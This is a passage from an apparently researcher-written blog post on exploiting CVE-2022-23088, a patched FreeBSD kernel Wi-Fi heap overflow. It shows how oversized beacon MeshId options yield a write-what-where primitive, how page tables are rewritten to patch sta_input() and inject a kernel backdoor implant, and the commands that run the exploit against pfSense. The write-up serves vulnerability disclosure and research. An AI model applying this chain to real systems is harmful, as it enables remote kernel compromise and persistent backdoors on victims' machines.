ur goal is to achieve kernel remote code execution on a target FreeBSD system using a heap overflow vulnerability in the Wi-Fi stack of the FreeBSD kernel. This vulnerability has been assigned CVE-2022-23088 and affects all FreeBSD versions since 2009, along with many FreeBSD derivatives such as pfSense and OPNsense. It was patched by the FreeBSD project in April 2022.
The Vulnerability
When a system is scanning for available Wi-Fi networks, it listens for management frames that are emitted by Wi-Fi access points in its vicinity. There are several types of management frames, but we are interested in only one: the beacon management subtype. A beacon frame has the following format:
| struct ieee80211_beacon { |
| uint8_t i_fc[2]; |
| uint8_t i_dur[2]; |
| uint8_t i_addr1[IEEE80211_ADDR_LEN]; |
| uint8_t i_addr2[IEEE80211_ADDR_LEN]; |
| uint8_t i_addr3[IEEE80211_ADDR_LEN]; |
| uint8_t i_seq[2]; |
| // ... sequence of ieee80211_option structures of varying lengths ... |
| }; |
|
|
| struct ieee80211_option { |
| uint8_t id; |
| uint8_t len; |
| // ... ‘len’ bytes of data ... |
In FreeBSD, beacon frames are parsed in ieee80211_parse_beacon(). This function iterates over the sequence of options in the frame and keeps pointers to the options it will use later.
One option, IEEE80211_ELEMID_MESHID, is particularly interesting:
| wh = mtod(m, struct ieee80211_frame *); |
| frm = (uint8_t *)&wh[1]; |
| efrm = mtod(m, uint8_t *) + m->m_len; |
|
|
| // [...] |
|
|
| // Iterate over the sequence of options in the packet |
| while (efrm - frm > 1) { |
|
|
| // [...] |
|
|
| switch (*frm) { |
|
|
| // [...] |
|
|
| case IEEE80211_ELEMID_MESHID: |
| // Keep a pointer to the packet’s MeshId option |
| scan->meshid = frm; |
| break; |
|
|
| // [...] |
|
|
| } |
|
|
| // Advance to the next option |
| frm += frm[1] + 2; |
There is no sanity check performed on the option length (frm[1]). Later, in function sta_add(), there is a memcpy that takes this option length as size argument and a fixed-size buffer as destination:
| if (sp->meshid != NULL && sp->meshid[1] != 0) |
Due
to the lack of a sanity check on the option length, there is an ideal
buffer overflow condition here: the attacker can control both the size
of the overflow (sp->meshid[1]) as well as the contents that will be written (sp->meshid).
Therefore, when a FreeBSD system is scanning for available networks,
an attacker can trigger a kernel heap overflow by sending a beacon frame
that has an oversized IEEE80211_ELEMID_MESHID option.
Building a “Write-What-Where” Primitive
Let’s look at ise->se_meshid, the buffer that is overflown during the memcpy. It is defined in the ieee80211_scan_entry structure:
| struct ieee80211_scan_entry { |
| // [...] |
| uint8_t se_meshid[2+IEEE80211_MESHID_LEN]; // #define IEEE80211_MESHID_LEN 32 |
| struct ieee80211_ies se_ies; |
| // [...] |
Here, the overflow of se_meshid allows us to overwrite the se_ies field that follows. The se_ies field is of type struct ieee80211_ies, defined as follows:
| struct ieee80211_ies { |
| uint8_t *wpa_ie; |
| uint8_t *rsn_ie; |
| uint8_t *wme_ie; |
| uint8_t *ath_ie; |
| uint8_t *htcap_ie; |
| uint8_t *htinfo_ie; |
| uint8_t *tdma_ie; |
| uint8_t *meshid_ie; |
| uint8_t *vhtcap_ie; |
| uint8_t *vhtopmode_ie; |
| uint8_t *vhtpwrenv_ie; |
| uint8_t *apchanrep_ie; |
| uint8_t *bssload_ie; |
| uint8_t *spare[4]; |
| uint8_t *data; // [1/2] Remember these two fields |
| int len; // [2/2] |
We will be interested in overwriting the last two fields: data and len.
Back in sta_add(), not long after the memcpy, there is a function call that uses the se_ies field:
| if (sp->meshid != NULL && sp->meshid[1] != 0) |
| // This can overwrite ‘se_ies’ |
| memcpy(ise->se_meshid, sp->meshid, 2+sp->meshid[1]); |
|
|
| // [...] |
|
|
| // This uses ‘se_ies’ as first argument |
This ieee80211_ies_init() function is defined as:
| // ‘ies’ can be overflown into, so we can fully control its contents |
| int |
| ieee80211_ies_init(struct ieee80211_ies *ies, const uint8_t *data, int len) |
| { |
| memset(ies, 0, offsetof(struct ieee80211_ies, data)); |
| $0 if (ies->data != NULL && ies->len != len) { // <-- Ayy, we control these two fields |
| IEEE80211_FREE(ies->data, M_80211_NODE_IE); |
| ies->data = NULL; |
| } |
| if (ies->data == NULL) { |
| ies->data = (uint8_t *) IEEE80211_MALLOC(len, M_80211_NODE_IE, |
| IEEE80211_M_NOWAIT | IEEE80211_M_ZERO); |
| if (ies->data == NULL) { |
| ies->len = 0; |
| return 0; |
| } |
| } |
| $1 memcpy(ies->data, data, len); // <-- I believe in miracles |
| ies->len = len; |
| return 1; |
The data parameter here points to the beginning of the beacon options in the frame, and len is the full length of all the beacon options. In other words, the (data,len) couple describes the options buffer that is part of the frame that the attacker sent:
Figure 1 - The Options Buffer
As noted in the code snippet, the ies structure is fully attacker-controlled thanks to the buffer overflow.
Therefore, at $1:
-- We can control len, given that this is the full size of the options buffer, and we can decide that size by just adding or removing options to our frame.
-- We can control the contents of data, given that this is the contents of the options buffer.
-- We can control the ies->data pointer, by overflowing into it.
We thus have a near-perfect write-what-where primitive that allows us to write almost whatever data we want at whatever kernel memory address we want just by sending one beacon frame that has an oversized MeshId option.
Constraints on the Primitive
A few constraints apply to the primitive:
The FreeBSD kernel expects there to be SSID and Rates options in the frame. That means that there are 2x2=4 bytes of the options buffer that we cannot control. In addition, our oversized MeshId option has a 2-byte header, so that makes 6 bytes we cannot control. For convenience and simplicity, we will place these bytes at the beginning of the options buffer.
Our oversized MeshId option must be large enough to overwrite up to the
ies->dataandies->lenfields, but not more. This equates to a length of 182 bytes for the MeshId option, plus its 2-byte header. To accommodate the MeshId option plus the two options mentioned above, we will use an options buffer of size 188 bytes.The
ies->dataandies->lenfields we overwrite are respectively the last 8 and 4 bytes within the options buffer, so they too are constrained.The
ies->lenfield must be equal tolenfor the branch at$0not to be taken.
The big picture of what the frame looks like given the aforementioned constraints:
Figure 2 - The Big Picture
Maintaining stability of the target
Let’s say we send a beacon frame that uses the primitive to overwrite
an area of kernel memory. There is going to be a problem at some point
when the kernel subsequently tries to free ies->data. This is because ies->data is supposed to point to a malloc-allocated buffer, which may no longer be true after our overwrite.
To maintain stability and avoid crashing the target, we can send a second, corrective beacon frame that overflows ies->data to be NULL and ies->len to be 0. After that, when the kernel attempts to free ies->data,
it will see that the pointer is NULL, and won’t do anything as a
result. This allows us to maintain the stability of the target and
ensure our primitive doesn’t crash it.
Choosing what to write, and where to write it
Now we have a nice write-what-where primitive that we can invoke with just one beacon frame plus one corrective frame. What exactly can we do with it now?
A first thought might be to use the primitive to overwrite the instructions that the kernel executes in memory. (Un)fortunately, in FreeBSD, the kernel text segment is not writable, so we cannot use our primitive to directly overwrite kernel instructions. Furthermore, the kernel implements W^X, so no writable pages are executable.
However, the page tables that map executable pages are writable.
Injecting an implant
Here we are going to inject an implant into the target's kernel that will process "commands" that we send to it later on via subsequent Wi-Fi frames — a full kernel backdoor, if you will.
The process of injecting this implant will take four beacon frames.
This is a bit of a bumpy technical ride, so fasten your seatbelt.
Frame 1: Injecting the payload
Background: the direct map is a special kernel memory region that contiguously maps the entire physical memory of the system as writable pages, except for the physical pages of read-only text segments.
We use the primitive to write data at the physical address 0x1000 using the direct map:
Figure 3 - Frame 1
0x1000 was chosen as a convenient physical address because it is unused. The data we write is as follows:
Figure 4 - Frame 1
The implant shellcode area contains the instructions of our implant. The rest of the fields are explained below.
Frame 2: Overwriting an L3 PTE
Quick Background: x64 CPUs use page tables to map virtual addresses to physical RAM pages, in a 4-level hierarchy that goes from L4 (root) to L0 (leaf). Refer to the official AMD and Intel specifications for more details.
In this step, we use the primitive to overwrite an L3 page table entry (PTE) and make it point to the L2 PTE that we wrote at physical address 0x1000 as part of Frame 1. We crafted that L2 PTE precisely to point to our three L1 PTEs, which themselves point to two different areas: (1) two physical pages of the kernel text segment, and (2) our implant shellcode.
In other words, by overwriting an L3 PTE, we create a branch in the page tables that maps two pages of kernel text as writable and our shellcode as executable:
Figure 5 - Frame 2
At this point, our shellcode is mapped into the target’s virtual memory space and is ready to be executed. We will see below why we're mapping the two pages of the kernel text segment.
The attentive reader may be concerned about the constraints of the primitive here. Nothing to worry about: the L3 PTE space is mostly unpopulated. We just have to choose an unpopulated range where overwriting 188 bytes will not matter.
Frame 3: Patching the text segment
In order to jump into our newly mapped shellcode, we will patch the beginning of the sta_input()
function in the text segment. This function is part of the Wi-Fi stack
and gets called each time the kernel receives a Wi-Fi frame, so it seems
like the perfect place to invoke our implant.
How can we patch it, given that the kernel text segment is not
writable? By mapping as writable the text pages that contain the
function. This is what we did in frames 1 and 2, with the first two L1
PTEs, that now give us a writable view of the instruction bytes of sta_input():
Figure 6 - Our writable view of sta_input()
Back on topic, we use the primitive to patch the first bytes of sta_input() via the writable view we created in frames 1 and 2, and replace these bytes with:
| 48 b8 77 66 55 44 movabs $AddressOfOurImplantShellCode,%rax |
| 33 22 11 00 |
This simply calls our shellcode. However, the constraints of our primitive come into play:
- The first constraint of the primitive is that the first 6 bytes that we overwrite cannot be controlled. Overwriting memory at
sta_inputwould not be great, as it would put 6 bytes of garbage at the beginning of the function, causing the target to crash.
However, if we look at the instruction dump of sta_input, we can see that it actually has a convenient layout:
| 8f90 <sta_newstate+0x4d0>: |
| 8f90: 5e pop %rsi |
| 8f91: 41 5f pop %r15 |
| 8f93: 5d pop %rbp |
| 8f94: c3 retq |
| 8f95: 66 2e 0f 1f 84 00 nopw %cs:0x0(%rax,%rax,1) |
| 8f9c: 00 00 00 00 |
| 8f9f: 90 nop |
|
|
| 8fa0 <sta_input>: |
| 8fa0: 55 push %rbp | GETS PATCHED |
| 8fa1: 48 89 e5 mov %rsp,%rbp | GETS PATCHED |
| 8fa4: 41 57 push %r15 | GETS PATCHED |
| 8fa6: 41 56 push %r14 | GETS PATCHED |
| 8fa8: 41 55 push %r13 | GETS PATCHED |
| 8faa: 41 54 push %r12 | GETS PATCHED |
| 8fac: 53 push %rbx |
What we can do here is overwrite memory at sta_input-6. The 6 bytes of garbage will just overwrite the unreachable NOPs of the previous sta_newstate() function, with no effect on execution.
With this trick, we don’t have to worry about these first 6 bytes, as they are effectively discarded.
The second constraint of the primitive is that we are forced to overwrite exactly 182 bytes, so we cannot overwrite the first few bytes only. This is not really a problem. We can just fill the rest of the bytes with the same instruction bytes that are there in memory already.
The third constraint of the primitive is that the last 12 bytes that we write are the
ies->dataandies->lenfields, and these don’t disassemble to valid instructions. That’s a problem because these bytes are withinsta_input(). If the kernel tries to execute these bytes, it won’t be long before it crashes. To work around this, we must have corrective code in our implant. When called for the first time, our implant must correct the last 12 bytes of garbage that we wrote intosta_input(). Although slightly annoying, this is not complicated to implement.
With all that established, we’re all set. Our implant will now execute each time sta_input() is called, meaning, each time a Wi-Fi frame is received by the target!
Frame 4: Corrective frame
Finally, to maintain the stability of the target, we send a final beacon frame where we overflow ies->data to be NULL and ies->len to be 0.
This ensures that the target won’t crash.
Subsequent communication channel
With the aforementioned four frames, we have a recipe to reliably
inject an implant into the target’s kernel. The implant gets called in
the same context as sta_input():
| static int |
| sta_input(struct ieee80211_node *ni, struct mbuf *m, |
Notably, the second argument, m,
is the memory region containing the buffer of the frame that the kernel
is currently processing. The implant can therefore inspect that buffer
(via %rsi) and act depending on its contents.
In other words, we have a communication channel with the implant. We can therefore code our implant as a server backdoor and send commands to it via this channel.
Full steps
Let’s recap:
- A heap buffer overflow vulnerability exists in the FreeBSD kernel. An attacker can trigger this bug by sending a beacon frame with an oversized MeshId option.
- Using that vulnerability, we can implement a write-what-where primitive that allows us to perform one kernel memory overwrite per beacon frame we send.
- We can use that primitive three times to inject an implant into the target’s kernel.
- A fourth beacon frame is used to clean up
ies->dataandies->len, to prevent a crash. - Finally, our implant runs in the kernel of the target and acts as a full backdoor that can process subsequent Wi-Fi frames we send to it.
The Exploit
A full exploit can be found here. It injects a simple implant that calls printf()
with the strings that the attacker subsequently sends. To use this
exploit from a Linux machine that has a Wi-Fi card called wifi0, switch
the card to monitor mode with:
| $ sudo ifconfig wifi0 down |
| $ sudo iwconfig wifi0 mode monitor |
Then, build and run the exploit for the desired target. For example, if you wish to target a pfSense 2.5.2 system:
| $ ./build.py kernels/pfSense-2.5.2-RELEASE |
| $ sudo ./exploit.py wifi0 kernels/pfSense-2.5.2-RELEASE |
| [+] Phase 1: writing page1 |
| [+] Phase 2: writing L3 |
| [+] Phase 3: patching kernel |
| [+] Phase 4: repairing |
| [+] Finished |
| > Hello there, I’m in the kernel |
No comments:
Post a Comment